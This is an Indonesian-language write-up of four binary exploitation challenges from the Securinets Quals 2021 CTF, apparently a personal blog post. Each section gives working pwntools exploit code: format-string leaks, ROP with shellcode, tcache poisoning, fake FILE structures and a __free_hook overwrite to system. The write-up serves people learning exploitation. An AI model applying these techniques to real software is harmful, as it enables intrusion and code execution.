Pwn-ing at Securinets Quals 2021
Overview
Soal-soalnya sangat bagus menurutku (karena solved semua aja sih :evillaught:), tapi aku kerjain ini semalam setelah kompetisi selesai. Karena saat kulihat di runing event ctftime, ternyata waktu <1 jam selesai :’(. Aku hanya kerjain bagian Binary Explotation saja dan dibawah ini writeupnya.
Kill Shot (810 pts)
Simplenya, binary ini memberikan kita printf
dengan controlled parameter untuk mendapatkan information leaks, dan fungsi kill yang bisa kita gunakan untuk dapatkan arbitrary write.
The Seccomp
Binary ini menggunakan seccomp
untuk filter apa saja syscall
yang diizinkan untuk kita.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000005 if (A == fstat) goto 0010
0008: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
Exploit
Information leaks (pie, libc, heap, etc), didapatkan dengan mudah dengan controlled parameter printf
yang sudah aku tulis diatas.
payload = b'%4$p||%6$p||%25$p||%13$p'
r.sendlineafter(b'Format: ', payload)
leaks = r.recvline(0).split(b'||')
Overwrite __free_hook
ke fungsi kill
pada saat awal program untuk dapatkan infinite arbitrary write.
r.sendlineafter('Pointer: ', f'{libc.sym.__free_hook}')
r.sendlineafter('Content: ', p64(elf.sym.kill))
Arbitrary write ini akan digunakan untuk tulis ropchain ke stack yang akan panggil mprotect untuk membuat heap memory menjadi executable.
Prepare shellcode lalu kalkulasi jarak shellcode diheap dengan leaked heap address tadi yang nantinya ini akan menjadi return address setelah rop dilakukan.
shellcode = shellcraft.openat(0x0, '/home/ctf/flag.txt', 0x0)
shellcode += shellcraft.read('rax', 'rsp', 0x47)
shellcode += shellcraft.write(0x1, 'rsp', 0x47)
add(0xC8, asm(shellcode))
# pwndbg> dq 0x5555557580f0-0x10
# 00005555557580e0 0000000000000001 00000000000000d1
# 00005555557580f0 2434810101757968 2f66b84801010101
# ^^ our shellcode start here
# 0000555555758100 4850742e67616c66 632f656d6f682fb8
# 0000555555758110 31ff31e689485074 0f0101b866c031d2
# pwndbg> p/x 0x5555557580f0-0x555555757260
# $2 = 0xe90
shellcode_start = heap + 0xE90
Write ROP-chain untuk ubah permission heap menjadi executable dan return ke shellcode.
stack_rip = stack - 0xD8
rop = ROP(libc)
rop.call(libc.sym['mprotect'], [heap - 0x260, 0x21000, 0x7])
payload = bytes(rop) + p64(shellcode_start)
for offset in range(0, len(payload), 8):
kill(stack_rip + offset, payload[offset:offset + 8])
Exit untuk trigger ROP dan return ke shellcode. Sekarang heap memory memiliki permission executable dan shellcode akan tereksekusi.
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555757000 0x555555778000 rwxp 21000 0 [heap]
Intended Solution
Intended Solution dari author adalah overwrite fastbinY
agar menunjuk ke stack. Agar malloc mengembalikan pointer dalam range stack. Malloc ke-N akan me-return alamat stack yang berisi address dari rip. Dan melakukan ROP open-read-write, menggunakan openat
.
Death Note (896 pts)
Classic heapnote challenge dengan fungsi create, edit, view, delete seperti pada umumnya.
Analysist
Create melakukan malloc dengan size dari user dengan constraint, 0 > size < 0x100
. Dengan index array mencari yang kosong dan ditentukan oleh sistem. Data array hanya berukuran 10.
int create()
{
signed int i, size;
int result;
for ( i = 0; ; ++i )
{
if ( i > 9 )
return puts("Enough targets for today!");
if ( !gdata[i] )
break;
}
write(1, "Provide note size:", 0x12);
size = read_long();
if ( size <= 0 || size > 0xFF )
{
result = puts("Wrong size!");
}
else
{
gdata[i] = malloc(size);
gsize[i] = size;
result = printf("Note is created at index: %d\n", i);
}
return result;
}
Edit ini melakukan read array yang sudah diallokasikan oleh user dengan constraint index < 9.
ssize_t edit()
{
ssize_t result;
signed int index;
write(1, "Provide note index: ", 0x14);
index = read_long();
if ( index > 9 )
{
result = write(1, "The death note isn't that big unfortunately\n", 0x2C);
}
else if ( gdata[index] )
{
write(1, "Name: ", 6);
result = read(0, gdata[index], gsize[index]);
}
else
{
result = write(1, "Page doesn't even exist!\n", 0x19);
}
return result;
}
Delete akan melakukan free ke index dari user yang sudah diallokasikan. Dan pointer akan di-set menjadi NULL (no uaf). View akan mengoutputkan informasi data dari index yang diberikan.
Where is the bug?
Bugnya secara jelas ada di edit. Karena contraint hanya index < 9 dengan bilangan negatif ini akan lolos. Ini bisa digunakan untuk edit pointer-pointer yang ada diatas array_data_notes
.
Exploit
Untuk mempermudah interaksi dengan soal,
def create(size):
r.sendlineafter('Exit\n', '1')
r.sendlineafter(':', f'{size}')
def edit(idx, data):
r.sendlineafter('Exit\n', '2')
r.sendlineafter(':', f'{idx}')
r.sendafter(': ', data)
def delete(idx):
r.sendlineafter('Exit\n', '3')
r.sendlineafter(': ', f'{idx}')
def view(idx):
r.sendlineafter('Exit\n', '4')
r.sendlineafter(':', f'{idx}')
return r.recvline(0)
Address libc bisa didapatkan dengan memenuhi tcachebins. Free selanjutnya dengan size yang sama akan masuk ke unsortedbins. Chunk ini mempunyai 2 pointer, FD dan BK yang menunjuk ke main_arena yang letaknya di libc.
for _ in range(8):
create(0x80)
# prevent consolidation with top_chunks
create(0x20)
for i in range(8):
delete(i)
# tcachebins
# 0x90 [ 7]: 0x555555757620 —▸ 0x555555757590 —▸ 0x555555757500 —▸ 0x555555757470 —▸ 0x5555557573e0 —▸ 0x555555757350 —▸ 0x5555557572c0 ◂— 0x0
# unsortedbin
# all: 0x5555557576d0 —▸ 0x155555324ca0 (main_arena+96) ◂— 0x5555557576d0
Sekarang, hanya allokasikan chunks size < chunk unsortedbins. Maka akan ada pointer main_arena di chunk data yang baru saja dialokasikan.
create(0x20)
# pwndbg> dq 0x5555557576a0
# 00005555557576a0 0000000000000000 0000000000000031
# 00005555557576b0 0000155555324d20 0000155555324d20 -> chunks[0]'s data
# 00005555557576c0 0000000000000000 0000000000000000
leak = u64(view(0).ljust(8, b'\0')) >> 8
libc.address = leak - 0x3ebd20
delete(0)
Kondisi tcachebins, array_data_notes dan chunk diatasnya pada heap sekarang,
0x30 [1]: 0x5555557576b0 ◂— 0x0
0x90 [7]: 0x555555757620 —▸ 0x555555757590 —▸ 0x555555757500 —▸ 0x555555757470 —▸ 0x5555557573e0 —▸ 0x555555757350 —▸ 0x5555557572c0 ◂— 0x0
---
0x555555757000 0x0000000000000000 0x0000000000000251
0x555555757010 0x0700000000000100 0x0000000000000000
...
0x555555757050 0x0000000000000000 0x00005555557576b0
...
0x555555757080 0x0000000000000000 0x0000555555757620
...
0x555555757250 0x0000000000000000 0x0000000000000061
0x555555757260 0x0000000000000000 0x0000000000000000 --> array_data_notes[10]
0x555555757270 0x0000000000000000 0x0000000000000000
0x555555757280 0x0000000000000000 0x0000000000000000
0x555555757290 0x0000000000000000 0x0000000000000000
0x5555557572a0 0x0000555555757740 0x0000000000000000
0x5555557572b0 0x0000000000000000
Pada alamat 0x555555757088
, berisi 0x555555757620
, yang mana ini merupakan salah satu FD pointer chunk yang ada di tcachebins diatas.
Karena terdapat index out-of-bound (negative number) pada fungsi edit, kita bisa melakukan tcache-poisoning dengan mengedit alamat tersebut untuk menunjuk ke __free_hook
. Lalu overwrite __free_hook
menjadi system.
Trigger dengan melakukan free ke chunk yang menyimpan string /bin/sh untuk mendapatkan RCE.
# pwndbg> p (0x555555757088-0x555555757260)/8
# $2 = -59
edit(-59, p64(libc.sym['__free_hook']))
create(0x80) ; edit(0, b'/bin/sh\0')
create(0x80) ; edit(1, p64(libc.sym['system']))
# pwndbg> tel &__free_hook 1
# 00:0000│ 0x1555553268e8 (__free_hook) —▸ 0x155554f884e0 (system) ◂— test rdi, rdi
delete(0)
Success (957 pts)
Pada dasarnya challange ini berdasarkan File Structure Exploit - GLIBC 2.27. Goal-nya adalah untuk bypass _IO_vtable_check
yang terdapat pada libc versi 2.24 keatas.
Infomation Leaks
Didapatkan pada fungsi get_name, karena menggunakan read yang tidak mengakhiri buffernya dengan nullbyte. Dengan ini, bisa membocorkan nilai-nilai yang ada distack.
r.sendafter('Please provide student username: ', 'A' * 0x8)
pie = uu64(r.recvline(0).split()[2][8:]) - 0x1090
r.sendafter('Please provide student username: ', 'A' * 0x10)
libc.address = uu64(r.recvline(0).split()[2][0x10:]) - libc.sym['_IO_file_jumps']
Bug nya ada di fungsi fill_data. Out-of-bound di .bss, karena array datas hanya berukuran 64, tetapi input number bisa sampai 64, ini akan meng-overwrite file pointer numbers2.
number = get_int(1LL, "Provide number of subjects: ");
if ( number > 64 || number < 0 )
exit(0);
for ( i = 0; i <= number; ++i )
{
get_float(1LL, &s);
datas[i] = _mm_cvtsi128_si32(a1);
}
/**
* .bss:0000000000202060 ; _DWORD datas[64]
* .bss:0000000000202160 ; FILE *numbers2
**/
Crafting Fake File Structure
Bisa dengan mudah karena pwntools sudah menyediakan :smile:
rdi = libc.search(b'/bin/sh').__next__()
fake_vtable = (libc.sym['_IO_file_jumps'] + 0xd8) - 2 * 8
fake_struct = FileStructure()
fake_struct._IO_buf_base = 0
fake_struct._IO_buf_end = (rdi - 100) // 2
fake_struct._IO_write_ptr = (rdi - 100) // 2
fake_struct._IO_write_base = 0
fake_struct._lock = pie + elf.sym['ch'] + 0x80
fake_struct.vtable = fake_vtable
Karena terdapat space array datas[64], ini merupakan target yang bagus untuk menaruh fake_file_struct yang dibuat. Tantangannya adalah menulis dalam bentuk float. Berikut helper untuk konversi ke float,
def toFloat(value):
return struct.unpack("<f", p32(value))[0]
Exploit
Writing time, wwww.
payload = bytes(fake_struct) + p64(libc.sym['system'])
for i in range(0, len(payload), 8):
target = u64(payload[i:i+8])
r.sendlineafter(': ', f'{toFloat(target & 0xFFFFFFFF)}')
r.sendlineafter(': ', f'{toFloat(target >> 32)}')
# padding
for _ in range(6):
r.sendlineafter(': ', f'{toFloat(0)}')
# overwrite file_stream_ptr numbers2 to our fake_file_struct.
r.sendlineafter(': ', f'{toFloat((pie + elf.sym.ch) & 0xFFFFFFFF)}')
Fungsi fclose
akan men-trigger fake_file_struct kita dan RCE didapatkan.
Membership Management (988 pts)
Heap exploitation challange GLIBC 2.31. Dengan fitur create, delete, edit dan tanpa view. Yaa, inti tantangan problem ini adalah tidak ada fungsi view, yang dapat mempermudah untuk mendapat leak.
Analysist
Subscribe, akan melakukan malloc sebesar 0x50. Pointer heap dari malloc ini ditampung di variable global array yang memiliki size 52. Dan melakukan inisiasi is_active pada index array yang dipakai menjadi 1. Ini menandakan chunk dalam kondisi terpakai.
int __usercall subscribe()
{
int result;
signed int i;
__asm { rep nop edx }
for ( i = 0; i <= 49; ++i )
{
if ( !is_active[i] )
{
gdata[i] = malloc(0x50);
is_active[i] = 1;
puts("Done");
result = i;
return result;
}
}
return puts("No more free slots!");
}
Unsubscribe, akan melakukan free terhadap suatu index array, dan mengeset is_active pada index ini menjadi 0.
int __usercall unsubscribe()
{
int result;
int index;
printf("Index: ");
index = read_long();
if ( index < 0 || index > 50 )
{
result = puts("There is no such member");
}
else
{
result = is_active[index];
if ( result )
{
free(gdata[index]);
puts("Done");
result = index;
is_active[index] = 0;
}
}
return result;
}
Modify, melakukan read terhadap content member dengan constraint 0 >= index <= 50
yang mana index adalah pilihan dari user.
int __usercall modify()
{
int result; // eax@3
int index; // [sp-Ch] [bp-Ch]@1
printf("Index: ");
index = read_long(&v3);
if ( index < 0 || index > 50 )
{
result = puts("There is no such member");
}
else
{
printf("Content: ");
result = read(0, gdata[index], 0x32uLL);
}
return result;
}
Bug
Ada di fungsi unsubscribe, karena global data array pada index yang telah di-free tidak di-NULL kan. Sehingga, menimbulkan bug use-after-free. Dengan ini kita bisa mengedit chunk yang telah di free sehingga FD
dan BK
pointer chunk yang telah di free dapat kita kontrol untuk menunjuk kemanapun.
Information Leaks
Tantangannya adalah tidak ada fitur view. Leak bisa didapatkan dengan melakukan partial overwrite ke _IO_2_1_stdout_
. Cara ini membutuhkan bruteforce 1 byte dengan kemungkinan 1/16. Hal yang harus dilakukan adalah meng-corrupt tcachebins
agar menunjuk ke _IO_2_1_stdout_
.
Exploit
Helper,
def subscribe():
r.sendlineafter('>', '1')
def unsubscribe(idx):
r.sendlineafter('>', '2')
r.sendlineafter(': ', f'{idx}')
def modify(idx, data):
r.sendlineafter('>', '3')
r.sendlineafter(': ', f'{idx}')
r.sendafter(': ', data)
Karena subcsribe hanya melakukan malloc
sebesar 0x50, kita perlu chunk yang besar agar jika di free, akan masuk ke unsortedbins
sehingga, FD
dan BK
pointer menunjuk ke main_arena
untuk melakukan partial overwrite.
Dengan use-after-free, edit FD
pointer dari chunk yang sudah di-free agar menunjuk ke chunk_size
dari suatu chunk yang berdekatan.
for _ in range(3):
subscribe()
unsubscribe(0)
unsubscribe(2)
# tcachebins
# 0x60 [ 2]: 0x555555559360 —▸ 0x5555555592a0 ◂— 0x0
kondisi ketiga chunks,
0x555555559290: 0x0000000000000000 0x0000000000000061 <- heap_struct of chunks[0] (free`d)
0x5555555592a0: 0x0000000000000000 0x0000555555559010 <- tcachebins[0x60][1/2]
0x5555555592b0: 0x0000000000000000 0x0000000000000000
0x5555555592c0: 0x0000000000000000 0x0000000000000000
0x5555555592d0: 0x0000000000000000 0x0000000000000000
0x5555555592e0: 0x0000000000000000 0x0000000000000000
0x5555555592f0: 0x0000000000000000 0x0000000000000061 <- heap_struct of chunks[1]
0x555555559300: 0x0000000000000000 0x0000000000000000
0x555555559310: 0x0000000000000000 0x0000000000000000
0x555555559320: 0x0000000000000000 0x0000000000000000
0x555555559330: 0x0000000000000000 0x0000000000000000
0x555555559340: 0x0000000000000000 0x0000000000000000
0x555555559350: 0x0000000000000000 0x0000000000000061 <- heap_struct of chunks[2] (free`d)
0x555555559360: 0x00005555555592a0 0x0000555555559010 <- tcachebins[0x60][0/2]
0x555555559370: 0x0000000000000000 0x0000000000000000
0x555555559380: 0x0000000000000000 0x0000000000000000
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000020c91 <- top_chunk
Terlihat bahwa size dari chunks[1]
yang terdapat pada alamat 0x5555555592f0
, ini hanya berbeda 1 byte LSB dengan FD
dari chunks[2]
pada 0x5555555592a0
. Yang diperlukan adalah edit LSB FD
pointer chunks[2]
ini ke 0xf8
agar mengarah ke size dari chunks[1]
.
modify(2, b'\xf8')
# tcachebins
# 0x60 [ 2]: 0x555555559360 —▸ 0x5555555592f8 ◂— 0x61 /* 'a' */
Sekarang siapkan chunks padding untuk chunk dengan size yang besar nanti,
subscribe() # idx: 0
subscribe() # idx: 2 -> contains chunks[1]'s size
# prepare chunks data for big size chunk (in this case: 0x420)
for _ in range(9):
subscribe()
# prevent consolidation with top_chunk
subscribe()
Edit size dari chunks[1]
tadi menjadi 0x421
dan lakukan free
, agar masuk ke unsortedbins
.
modify(2, p64(0x421))
unsubscribe(1)
# unsortedbin
# all: 0x5555555592f0 —▸ 0x7ffff7fbabe0 (main_arena+96) ◂— 0x5555555592f0
Sekarang siapkan chunks yang berdekatan, untuk men-corrupt tcachebins agar menunjuk ke _IO_2_1_stdout_
.
for _ in range(5):
subscribe()
# 2 bytes lsb of `\_IO_2_1_stdout_`
modify(16, p16(0xb6a0))
# pwndbg> dq 0x555555559480-0x10
# 0000555555559470 0000000000000000 0000000000000061
# 0000555555559480 00007ffff7fbb6a0 00007ffff7fbabe0
# ^^ our chunk target
# 0000555555559490 0000000000000000 0000000000000000
# 00005555555594a0 0000000000000000 0000000000000000
Aku memilih chunks[16]
menjadi target untuk _IO_2_1_stdout_
. Siapkan free`d chunks yang berdekatan, agar chunks target dan salah FD
pointer yang ada di tcachabins
hanya berbeda 1 byte saja di LSB-nya, sehingga bisa kita overwrite agar menunjuk ke target.
unsubscribe(14)
unsubscribe(15)
unsubscribe(1)
# tcachebins
# 0x60 [ 3]: 0x555555559300 —▸ 0x555555559420 —▸ 0x5555555593c0 ◂— 0x61 /* 'a' */
FD
Pointer dari chunks[1]
yang menunjuk ke 0x555555559420
hanya berbeda 1 byte LSB-nya saja dengan chunk target kita yang berada di 0x555555559480
. Dengan mengubah 1 byte LSB dari chunks[1]
menjadi 0x80
, tcachebins akan menunjuk ke chunk target kita.
modify(1, b'\x80')
# tcachebins
# 0x60 [ 3]: 0x555555559300 —▸ 0x555555559480 —▸ 0x7ffff7fbb6a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
NOTE: Saya mematikan ASLR untuk mempermudah melakukan debugging.
Sekarang, overwrite file*struct \_IO_2_1_stdout*
agar mencetak suatu alamat libc. Dengan mengoverwite 1 byte LSB dari\_IO_write_base
ke suatu address yang menyimpan address libc.
for _ in range(3):
subscribe()
fake_struct = p64(0xfbad1800) + p64(0) + p64(0) + p64(0) + p8(0x8)
modify(15, fake_struct)
Ketika _IO_2_1_stdout_
berhasil dioverwrite, maka program akan mengoutputkan suatu memory yang ditunjuk oleh _IO_write_base
dan bisa dikalkulasi untuk mendapat libc leak.
Karena leak sudah didapat, tinggal tcache-poisoning seperti biasa. Overwrite __free_hook
menjadi system. Free chunk yang menyimpan string /bin/sh untuk dapat RCE !
unsubscribe(11)
unsubscribe(12)
modify(12, p64(libc.sym['__free_hook']))
# tcachebins
# 0x60 [ 2]: 0x555555559720 —▸ 0x7ffff7fbdb28 (__free_hook) ◂— 0x0
subscribe()
subscribe()
modify(12, p64(libc.sym['system']))
# pwndbg> tel &__free_hook 1
# 00:0000│ 0x7ffff7fbdb28 (__free_hook) —▸ 0x7ffff7e24410 (system) ◂— endbr64
modify(13, b'/bin/sh\0')
unsubscribe(13)
Tambahkan try except untuk otomasi bruteforce.
Nice challanges!